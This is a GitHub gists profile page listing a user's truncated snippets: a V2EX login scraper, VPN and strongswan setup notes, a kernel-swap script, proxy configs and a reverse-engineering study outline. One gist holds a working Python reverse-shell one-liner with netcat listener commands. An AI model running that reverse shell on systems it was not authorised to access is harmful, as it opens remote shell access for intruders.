Skip to content

Instantly share code, notes, and snippets.

View coconut49's full-sized avatar
🐰
Focusing

49 coconut49

🐰
Focusing
View GitHub Profile
# -*- coding: utf-8 -*-
from bs4 import BeautifulSoup
import requests
username = '' ###账号###
password = '' ###密码###
login_url = 'http://v2ex.com/signin' ###如V2EX设置了使用 SSL,必须改 https###
index_url = 'http://v2ex.com' ###同上###
mission_url = 'http://www.v2ex.com/mission/daily' ###同上###
UA = "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) \
@coconut49
coconut49 / racoon-vpn-setup.sh
Last active August 29, 2015 14:25
Racoon IPSEC VPN setup using IKEv1 and Linux Username and Password
#! /bin/sh
# 安装racoon
apt-get install racoon
# 配置racoon
cat << _EOF_ > /etc/racoon/racoon.conf
log notify;
path pre_shared_key "/etc/racoon/psk.txt";
path certificate "/etc/racoon/certs";
listen {

测试平台:DigitalOcean VPS ubuntu14.04 x64, strongswan5.3.2

运行以下命令请使用root权限

一:安装strongswan

由于ubuntu软件仓库中strongswan版本较低,因此从官网源码编译安装

apt-get install build-essential     #编译环境
aptitude install libgmp10 libgmp3-dev libssl-dev pkg-config libpcsclite-dev libpam0g-dev     #编译所需要的软件
@coconut49
coconut49 / binary.md
Last active August 29, 2015 14:25
0xFA

binary 方向

基础

  • python
  • 常见工具的使用(ida,od,windbg,gdb)
  • win32编程(其他平台类推)
  • c与汇编指令的对应
  • c语言
  • 常见汇编指令(其他平台类推)
@coconut49
coconut49 / install kernel 3.13-46
Last active August 29, 2015 14:27
自动清除其他内核,安装新的3.13-46内核,为锐速,for ubuntu 14.04 LTS
#!/bin/bash
str=`ls /boot/ | grep initrd.img|cut -c 12-`
arr=(${str// / })
cmd="apt-get remove "
for i in ${arr[@]}
do
echo "Found Linux: "$i
cmd=${cmd}"linux-image-"${i}" "
done
eval $cmd
# http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
# on the CLIENT, run the following:
# nc -l 12345
# on the SERVER, start the "reverse shell"
python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" 192.168.2.176 12345
# now go to the CLIENT, listen on port 12345 for incoming shell connections
nc -l 12345
[Proxy]
WIFI = direct, interface=en2
VPN = direct, interface=utun0
[Rule]
DOMAIN-SUFFIX,yach.me,WIFI
FINAL,VPN

如何在路由器中实现透明代理?

0 互联网现状

目前整个互联网环境,被破坏最严重地部分,是 Web 服务体验。当直接破坏难以实现时,就会从流程链的上下游着手,如:DNS 污染。

其它地互联网服务类型,例如:邮件,可能小部分会受到 Web 服务上下游破坏地余震,但整体上基本不受影响。

# -*- coding: utf-8 -*-
import requests
import re
import time
def get_xml():
try:
global l
doc = requests.get("http://bbsrss.mirrors.cqupt.edu.cn/bbs/forum.php?mod=rss&fid=68&amp;auth=0").text
l = [[x, y] for x, y in zip(re.findall(re.compile(r'<title>(.*?)</title>'), doc)[2:],